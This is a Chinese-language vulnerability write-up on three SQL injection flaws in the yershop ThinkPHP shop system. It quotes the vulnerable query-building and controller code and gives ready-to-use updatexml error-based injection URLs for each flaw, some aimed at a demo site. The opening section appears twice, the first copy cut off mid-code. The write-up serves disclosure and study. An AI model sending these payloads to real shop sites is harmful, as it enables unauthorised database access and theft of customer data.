###0x01漏洞简介 yershop是采用thinkphp框架开发的一套商城系统。其在以下3处存在SQL注入漏洞: (1)Driver.class.php 可以通过以下的payload进行注入: ``` index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx ``` (2)TuanController.class.php 可以通过以下的payload进行注入: ``` /index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ``` (3)CenterController.class.php 可以通过以下的payload进行注入: ``` index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ``` ###0x02漏洞详情 看到数据库操作函数 ``` protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算 $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找 if(is_array($val[1])) { $likeLogic =...
###0x01漏洞简介 yershop是采用thinkphp框架开发的一套商城系统。其在以下3处存在SQL注入漏洞: (1)Driver.class.php 可以通过以下的payload进行注入: ``` index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx ``` (2)TuanController.class.php 可以通过以下的payload进行注入: ``` /index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ``` (3)CenterController.class.php 可以通过以下的payload进行注入: ``` index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ``` ###0x02漏洞详情 看到数据库操作函数 ``` protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算 $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找 if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $likeStr = $this->comparison[strtolower($val[0])]; $like = array(); foreach ($val[1] as $item){ $like[] = $key.' '.$likeStr.' '.$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]); } }elseif('bind'==strtolower($val[0])){ // 使用表达式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp'==strtolower($val[0])){ // 使用表达式 $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/IN/i',$val[0])){ // IN 运算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; } }elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]); }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { //对字符串类型字段采用模糊匹配 $likeFields = $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; } ``` 如果我们传入的val中val[0]里面含有in或者between的话,后面就可以插入任意的sql语句 注入#1 看到代码 ``` public function index(){ $cateid= $id ? $id : I('get.category', 0);//获取分类的英文名称 $category = D('Category')->info($cateid); $id=$category['id']; $cid = D('Category')->getChildrenId($id); $map['category_id']=array("in",$cid); $map['status']=1; //推荐商品 $pos=M('Document')->where("position!=0")->select(); $this->assign("poslist",$pos); $key=I('get.order'); $sort=I('get.sort'); if(isset($key)){ if($key=="1"){ $listsort="view"." ".$sort;} if($key=="2"){ $listsort="id"." ".$sort;} if($key=="3"){ $listsort="price"." ".$sort;} if($key=="4"){ $listsort="sale"." ".$sort;} } if(empty($key)){$key="1";$see="asc"; $order="view";$sort="asc"; $listsort=$order." ".$sort; } if($sort=="asc"){$see="desc";} if($sort=="desc"){$see="asc";} $this->assign('see',$see); $this->assign('order',$key); $this->assign('value',$sort); $count=M('Document')->where($map)->count(); $Page= new \Think\Page($count,15); $Page->setConfig('prev','上一页'); $Page->setConfig('next','下一页'); $Page->setConfig('first','第一页'); $Page->setConfig('last','尾页'); $Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%'); $show= $Page->show(); $list= M('Document')->where($map)->order( $listsort)->limit($Page->firstRow.','.$Page->listRows)->select(); $this->assign('list',$list);// 赋值数据集 $this->assign('page',$show);// //获取分类的id $name=$category['name']; $child=M('Category')->where("pid='$id'")->select(); $this->assign('num', $count); $this->assign('childlist', $child); /* 左侧菜单 */ $menu=R('index/menulist'); $this->assign('categoryq', $menu); /** * 购物车调用 */ $cart=R("shopcart/usercart"); $this->assign('usercart',$cart); if(!session('user_auth')){$usercart=$_SESSION['cart']; $this->assign('usercart',$usercart); } /*栏目页统计代码实现,tag=2*/ if(1==C('IP_TONGJI')){ $record=IpLookup("",2,$name); } /* 底部分类调用*/ $menulist=R('Service/AllMenu'); $this->assign('footermenu',$menulist); /* 热词调用*/ $hotsearch=R("Index/getHotsearch"); $this->assign('hotsearch',$hotsearch); /* 分类信息 */ $category = $this->category(); //频道页循环3级分类 $this->meta_title = $category['title']; /*销量排行*/ $sales=$this->ranks(); $this->assign('sales', $sales); /*最近访问*/ $recent=$this->view_recent(); $this->assign('recent', $recent); /* 模板赋值并渲染模板 */ $this->assign('category', $category); $this->display($category['template_index']); } ``` 其中category通过I函数获取,然后进入sql里面。我们可以构造 ``` index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx ```  注入#2 ``` public function category() { /* 热词调用*/ $hotsearch=R("Index/getHotsearch"); $this->assign('hotsearch',$hotsearch); /* 购物车调用*/ $cart=R("Shopcart/usercart"); $this->assign('usercart',$cart); if(!session('user_auth')){$usercart=$_SESSION['cart']; $this->assign('usercart',$usercart); } /* 底部分类调用*/ $menulist=R('Service/AllMenu'); $this->assign('footermenu',$menulist); /* 左侧分类列表*/ $mlist=R('Index/menulist'); $this->assign('categoryq', $mlist); /** * 控制器必须!**/ $tuan=M("tuan"); $category=$tuan->order("id")->select();//团购分类 $this->assign('category',$category);// 赋值数据集 /* 获取商品*/ $pid= $id ? $id : I('get.id', 0); $t=$tuan->find($pid);//团购分类 //获取分类的英文名称 $this->meta_title = '团购_'.$t['title']; $key=I('get.order'); $sort=I('get.sort'); if(isset($key)){ if($key=="1"){ $listsort="view"." ".$sort;} if($key=="2"){ $listsort="goodid"." ".$sort;} if($key=="3"){ $listsort="price"." ".$sort;} if($key=="4"){ $listsort="salenumber"." ".$sort;} } if(empty($key)){$key="1";$see="asc"; $order="view";$sort="asc"; $listsort=$order." ".$sort; } if($sort=="asc"){$see="desc";} if($sort=="desc"){$see="asc";} $this->assign('see',$see); $this->assign('order',$key); $this->assign('value',$sort); $tuan=M("tuan"); $category=$tuan->order("id")->select();//团购分类 $this->assign('category',$category);// 赋值数据集 /* 获取商品*/ $User =M("tuanid"); $map['tuanpid']=I('get.id');; $this->assign('id',$pid);// 赋值数据集 $User =M("tuanid"); $count= $User->where($map)->count(); $Page= new \Think\Page($count,12); $Page->setConfig('prev','上一页'); $Page->setConfig('next','下一页'); $Page->setConfig('first','第一页'); $Page->setConfig('last','尾页'); $Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%'); $show= $Page->show(); $list=$User->where($map)->order($listsort)->limit($Page->firstRow.','.$Page->listRows)->select(); $this->assign('list',$list);// 赋值数据集 $this->assign('page',$show);// 赋值分页输出 $this->display(); $this->display(); ``` 其中id参数可以注入 构造 ``` http://demo.yershop.com/index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ```  注入#3 ``` /***站内信读取***/ public function msg() { if(!is_login()){ $this->error( "您还没有登陆",U("User/login") ); } /* 购物车调用*/ $cart=R("shopcart/usercart"); $this->assign('usercart',$cart); if(!session('user_auth')) { $usercart=$_SESSION['cart']; $this->assign('usercart',$usercart); } /* 底部分类调用*/ $menulist=R('Service/AllMenu'); $this->assign('footermenu',$menulist); /* 热词调用*/ $hotsearch=R("Index/getHotsearch"); $this->assign('hotsearch',$hotsearch); $menu=R('index/menulist'); $this->assign('categoryq', $menu); $envelope= M("personenvelope"); $uid=D("member")->uid(); $id=I("get.id"); /* 更新浏览数 */ $map = array('id' => $id); $envelope->where($map)->setInc('view'); $list=$envelope->find($id); $envelope->where($map)->setField("status",2); $this->assign("list",$list); $this->meta_title = '查看站内信'; $this->display(); } ``` id通过I函数获取可以注入构造 ``` http://demo.yershop.com/index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx ```  ###0x03修复方案 过滤。